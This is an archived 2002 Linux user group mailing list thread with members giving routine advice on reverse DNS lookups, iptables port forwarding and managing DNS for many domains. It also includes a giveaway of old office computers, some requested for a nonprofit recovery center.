<20020604112913.5f20d28d.robert_a_klahn@fastmail.fm> If you want to try and keep this in-house, you should check out DNSTools http://dnstools.com/ Bob. On Tue, 4 Jun 2002 12:05:18 -0700 plug-discuss-request@lists.plug.phoenix.az.us wrote: > Message: 1 > From: "Charlie Bullen" > To: > Subject: DNS services > Date: Tue, 4 Jun 2002 09:24:49 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > This is a multi-part message in MIME format. > > ------=_NextPart_000_0056_01C20BA9.ACBEA8F0 > Content-Type: text/plain; > charset="iso-8859-1" > Content-Transfer-Encoding: quoted-printable > > Has anyone used a DNS service, such as ZoneEdit, to manage DNS service > = for multiple domains, aprox 50, that also have multiple servers on > each = domain such as www.xyz.com, info.xyz.com etc.=20 > > The fellow that owns the company where I work is currently using bind > on = a server he administers, but is looking for an easier way. I > don't know = if this matters, but he is running several servers > running RedHat 7.2, 1 = SCO unix box and on BSD box, no microsoft > servers. > > Regards, > > > Charlie > -- Robert A. Klahn robert_a_klahn@fastmail.fm <======== New Email address AIM: rklahn Yahoo Messenger: klahn IRC: rklahn@irc.openprojects.net "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." - St. Augustine From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:10:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 04 Jun 2002 14:10:56 -0700 Subject: Reverse DNS lookup Message-ID: <3CFD2CE0.50208@esaravana.com> Hello, How to do reverse DNS lookup in intranet? I have the ip address and I want to get the dns name for the ip address. Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:22:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 4 Jun 2002 14:22:33 -0700 Subject: Reverse DNS lookup In-Reply-To: <3CFD2CE0.50208@esaravana.com> References: <3CFD2CE0.50208@esaravana.com> Message-ID: <200206041422.33592.voltage_spike@fastmail.fm> On Tuesday 04 June 2002 02:10 pm, Sundar wrote: > How to do reverse DNS lookup in intranet? I have the ip address and I > want to get the dns name for the ip address. host x.x.x.x It is included with bind-utils. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:24:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 4 Jun 2002 14:24:00 -0700 (PDT) Subject: Reverse DNS lookup In-Reply-To: <3CFD2CE0.50208@esaravana.com> Message-ID: host ip-address On Tue, 4 Jun 2002, Sundar wrote: > Hello, > > How to do reverse DNS lookup in intranet? I have the ip address and I > want to get the dns name for the ip address. > > Sundar > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:54:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Tue, 4 Jun 2002 14:54:41 -0700 (MST) Subject: More iptables questions In-Reply-To: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: On Tue, 4 Jun 2002, Carl Parrish wrote: > Thank you all for you help with iptables. > Now a new question. > If you want to do port forwarding do you have to accept it on the INPUT chain?? > So in syntax I think what I'm asking is this > if I do > iptables -A FORWARD -p tcp -i $ext -dport 8081 -j ACCEPT > iptables -t nat -A PREROUTING -s $FIREWALL -dport 8081 -j DNAT --to $WEBSERVER:80 If I remember the docs (netfilter.samba.org) you only need one of these rules. Drop the first rule (FORWARD) I think. INPUT, OUTPUT, FORWARD are all independant of each other in iptables. Use FORWARD only for packets heading through your machine. INPUT is for packets coming into localhost, OUTPUT is for packets going from localhost. Also forwarding is kernel level. The following command: $cat /proc/sys/net/ipv4/ip_forward 1 should give you 1. If it is 0, then that is your problem. There are a couple of places that you could stick that in startup scripts to keep it 1. Or just $cat "1">/proc/sys/net/ipv4/ip_forward every time you want forwarding on. HTH > > (syntax may be a little off I'm trying to do this "on the fly") > > do I need to add this to the rules? > > iptables -A INPUT -p tcp -dport 8081 -j ACCEPT > > So far I've tried both and haven't gotten it to work but while debugging > I thought I would find out how it *should* be working. > > Thanks, > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:50:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 4 Jun 2002 14:50:13 -0700 Subject: Old computers available tomorrow In-Reply-To: Message-ID: I just opened this post. Am I too late? I'm looking for computer donations to a licenced nonprofit recovery center in Prescott Arizona. It's now 2:50pm. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available tomorrow OK, I think the best way for this to work is for anyone interested to stop by New Vision tomorrow between the hours of 9am and 5pm. At the front desk, ask for me, Matt Alexander. New Vision is located at 1920 E Broadway, halfway between McClintock and the 101 on the North side. First come, first serve. Thanks, ~M On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:07:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 4 Jun 2002 17:07:09 -0500 Subject: Old computers available tomorrow In-Reply-To: ; from mberkwitt@cox.net on Tue, Jun 04, 2002 at 02:50:13PM -0700 References: Message-ID: <20020604170709.A82140@lilly.csoft.net> Well, I snagged 5 around 9:30 this AM and I hear there were 3 folks before me :-) On Tue, Jun 04, 2002 at 02:50:13PM -0700, Mark Berkwitt wrote: I just opened this post. Am I too late? I'm looking for computer donations to a licenced nonprofit recovery center in Prescott Arizona. It's now 2:50pm. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available tomorrow OK, I think the best way for this to work is for anyone interested to stop by New Vision tomorrow between the hours of 9am and 5pm. At the front desk, ask for me, Matt Alexander. New Vision is located at 1920 E Broadway, halfway between McClintock and the 101 on the North side. First come, first serve. Thanks, ~M On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:10:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Tue, 04 Jun 2002 15:10:26 -0700 Subject: Old computers available tomorrow References: <20020604170709.A82140@lilly.csoft.net> Message-ID: <3CFD3AD2.8A95A4D8@leml.asu.edu> Mike wrote: > > Well, I snagged 5 around 9:30 this AM and I hear > there were 3 folks before me :-) I think I was #1 at 8:59am ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:20:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 4 Jun 2002 15:20:09 -0700 Subject: Old computers available In-Reply-To: Message-ID: Matt, I could use 4 or 5 for a woman's recovery center in Prescott Arizona. They'd be used for Internet use, creating resumes and individual writing. This center is a licensed nonprofit org which can provide donation receipts. Thanks. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:23:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Tue, 4 Jun 2002 15:23:35 -0700 Subject: Old computers available tomorrow References: Message-ID: <000e01c20c16$77884bb0$d701870a@jeffbarker> You can have the one I was going to get... I can't make it out there... :) ----- Original Message ----- From: "Mark Berkwitt" To: Sent: Tuesday, June 04, 2002 2:50 PM Subject: RE: Old computers available tomorrow | I just opened this post. Am I too late? I'm looking for computer donations | to a licenced nonprofit recovery center in Prescott Arizona. It's now | 2:50pm. | | -----Original Message----- | From: plug-discuss-admin@lists.plug.phoenix.az.us | [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt | Alexander | Sent: Monday, June 03, 2002 4:29 PM | To: plug-discuss@lists.plug.phoenix.az.us | Subject: Re: Old computers available tomorrow | | | OK, I think the best way for this to work is for anyone interested to stop | by New Vision tomorrow between the hours of 9am and 5pm. At the front | desk, ask for me, Matt Alexander. | New Vision is located at 1920 E Broadway, halfway between McClintock and | the 101 on the North side. First come, first serve. | Thanks, | ~M | | | On Mon, 3 Jun 2002, Matt Alexander wrote: | | > How's $25 each sound? | > | > | > On Mon, 3 Jun 2002, Jeff wrote: | > | > > How much are they askin? I might be interested. | > > | > > | > > ----- Original Message ----- | > > From: "Matt Alexander" | > > To: | > > Sent: Monday, June 03, 2002 3:01 PM | > > Subject: Old computers available | > > | > > | > > | I've got about 25 spare computers that my company is looking to sell | or | > > | donate to a good cause. | > > | Here are the stats: | > > | | > > | Pentium 133Mhz | > > | 64MB RAM | > > | 1.3GB HD | > > | 10Mb NIC | > > | 1MB SVGA Video Card | > > | | > > | Linux installs fine on these computers and they could be put to a lot | of | > > | good use as a low-traffic web server, DNS server, mail server, router, | > > | proxy, or even a thin-client for the Linux Terminal Server Project! | :-) | > > | Anyone interested? | > > | Thanks, | > > | ~M | > > | | > > | ________________________________________________ | > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail | doesn't | > > post to the list quickly and you use Netscape to write mail. | > > | | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > > | > > ________________________________________________ | > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | > > | > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > > | > | > ________________________________________________ | > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't | post to the list quickly and you use Netscape to write mail. | > | > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | > | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post | to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss | | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:36:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 4 Jun 2002 15:36:44 -0700 (MST) Subject: More iptables questions In-Reply-To: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: Am 04. Jun, 2002 schwätzte Carl Parrish so: > iptables -A FORWARD -p tcp -i $ext -dport 8081 -j ACCEPT iptables -A FORWARD -p TCP -d $forwip --dport $forwport -j ACCEPT > iptables -t nat -A PREROUTING -s $FIREWALL -dport 8081 -j DNAT --to $WEBSERVER:80 iptablees -A PREROUTING -t nat -p TCP -d $extip --dport $extport -j DNAT --to $forwip:$forwport That's is the format I got from FireStarter. It's working. If you're testing from behind the firewall, then you need to add a rule like: iptables -A POSTROUTING -t nat -s $intnet -o $intif -d $intnet -j MASQUERADE > (syntax may be a little off I'm trying to do this "on the fly") > > do I need to add this to the rules? > > iptables -A INPUT -p tcp -dport 8081 -j ACCEPT I'm not using a rule like that. My example variables use the following: ext == external int == internal forw == where being forwarded to ip == IP addy net == CIDR addy if == interface ciao, der.hans -- # https://www.LuftHans.com/ # When you are tired of choosing the lesser of two evils, # Vote Cthulhu for President! From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:37:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 04 Jun 2002 15:37:55 -0700 Subject: Reverse DNS lookup References: Message-ID: <3CFD4143.3010903@esaravana.com> Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:45:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 4 Jun 2002 15:45:58 -0700 (PDT) Subject: Reverse DNS lookup In-Reply-To: <3CFD4143.3010903@esaravana.com> Message-ID: nslookup ip-address On Tue, 4 Jun 2002, Sundar wrote: > Would you guys, by any chance know, how you can do it from Windoze client? > > Sundar > > Matt Alexander wrote: > > >host ip-address > > > > > >On Tue, 4 Jun 2002, Sundar wrote: > > > >>Hello, > >> > >>How to do reverse DNS lookup in intranet? I have the ip address and I > >>want to get the dns name for the ip address. > >> > >>Sundar > >> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:43:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 4 Jun 2002 17:43:19 -0500 Subject: Old computers available In-Reply-To: ; from mberkwitt@cox.net on Tue, Jun 04, 2002 at 03:20:09PM -0700 References: Message-ID: <20020604174319.A87199@lilly.csoft.net> If Matt's well is dry I will donate 3 of mine for your cause. On Tue, Jun 04, 2002 at 03:20:09PM -0700, Mark Berkwitt wrote: Matt, I could use 4 or 5 for a woman's recovery center in Prescott Arizona. They'd be used for Internet use, creating resumes and individual writing. This center is a licensed nonprofit org which can provide donation receipts. Thanks. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:48:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 4 Jun 2002 15:48:53 -0700 Subject: Reverse DNS lookup In-Reply-To: <3CFD4143.3010903@esaravana.com> References: <3CFD4143.3010903@esaravana.com> Message-ID: <200206041548.53542.voltage_spike@fastmail.fm> On Tuesday 04 June 2002 03:37 pm, Sundar wrote: > Would you guys, by any chance know, how you can do it from Windoze > client? I would reccomend that you download Cygwin (http://www.cygwin.com) and run: host x.x.x.x :-) PS: I am not sure if this program is included with Cygwin. However, you could compile it yourself if it is not. Either way, it is still good advice. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:33:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 4 Jun 2002 15:33:34 -0700 (PDT) Subject: Old computers available tomorrow In-Reply-To: Message-ID: I've got 7 more today waiting for some kind soul to make these underappreciated computers important again. On Thursday I'll have about 15 more available. So stop by today before 6pm if you want one, or stop by on Thursday. Thanks, ~M On Tue, 4 Jun 2002, Mark Berkwitt wrote: > I just opened this post. Am I too late? I'm looking for computer donations > to a licenced nonprofit recovery center in Prescott Arizona. It's now > 2:50pm. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:50:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Tue, 4 Jun 2002 15:50:18 -0700 (MST) Subject: More iptables questions In-Reply-To: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: Methods lead to interfaces. Interfaces lead to services. Services *insert dramatic pause* lead to logging. http://www.linux-firewall-tools.com/linux/firewall/ Gary http://www.linuxchimp.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:06:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 04 Jun 2002 19:06:15 -0400 Subject: Reverse DNS lookup Message-ID: On Windows the traceroute command is "tracert" and is executed from at DOS or command prompt window. It will show you the domain name of an IP address as it does the DNS lookup as it starts and as it traces. Do the command tracert Alan On Tue, 04 Jun 2002 15:37:55 -0700 Sundar wrote: Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:24:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Tue, 4 Jun 2002 16:24:49 -0700 Subject: Reverse DNS lookup In-Reply-To: <3CFD4143.3010903@esaravana.com> Message-ID: Depending on what version of windows you have you can use nslookup...The easiest way if you are using 95 or 98 is to do a trace route (tracert IPADDRESS). Trace route does a lookup on the IP address before it attempts to trace. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Sundar Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:18:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Tue, 04 Jun 2002 16:18:21 -0700 Subject: sound and XMMS Message-ID: <3CFD4ABD.1671BEF7@earthlink.net> I prefer to use the IceWM due to it's quick interface, at least on startup, and I don't really care about the desktop that much. However, when I try to use XMMS it doesn't always work. I can get it to work sometimes by starting in the KDE or Gnome WM, running XMMS and it's ok. Then I switch back to Ice and XMMS is ok there too. However, after I re-boot, the sound is once again gone from Ice and I have to go thru the same KDE -> Ice to 'see' it again. Anyone had similiar problems? Or is there something better than XMMS? I'd personnally like to get Route66 up, but haven't had the time yet. pete From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:28:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 4 Jun 2002 16:28:35 -0700 Subject: Reverse DNS lookup Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B737@azmscorp01.corp.azms> Hi all I am new to the list just moved down from the great white north. :) Hopefully I will be allowed to join some of your meetings. But anyways you may want to check out- http://www.wshscripting.com/view/1101.html Also there are many web based sites that will help you out with this. A quick search on google will provide many sites. -Larry "Linux is user friendly .... its just picky about its friends" -----Original Message----- From: Sundar [mailto:linux@esaravana.com] Sent: Tuesday, June 04, 2002 3:38 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Reverse DNS lookup Would you guys, by any chance know, how you can do it from Windoze client? Sundar Matt Alexander wrote: >host ip-address > > >On Tue, 4 Jun 2002, Sundar wrote: > >>Hello, >> >>How to do reverse DNS lookup in intranet? I have the ip address and I >>want to get the dns name for the ip address. >> >>Sundar >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 23:41:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Tue, 4 Jun 2002 16:41:01 -0700 Subject: Reverse DNS lookup In-Reply-To: Message-ID: <000b01c20c21$498d0d30$0401a8c0@minkland.com> Ping -a ip.address -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of Gilbert T. Gutierrez, 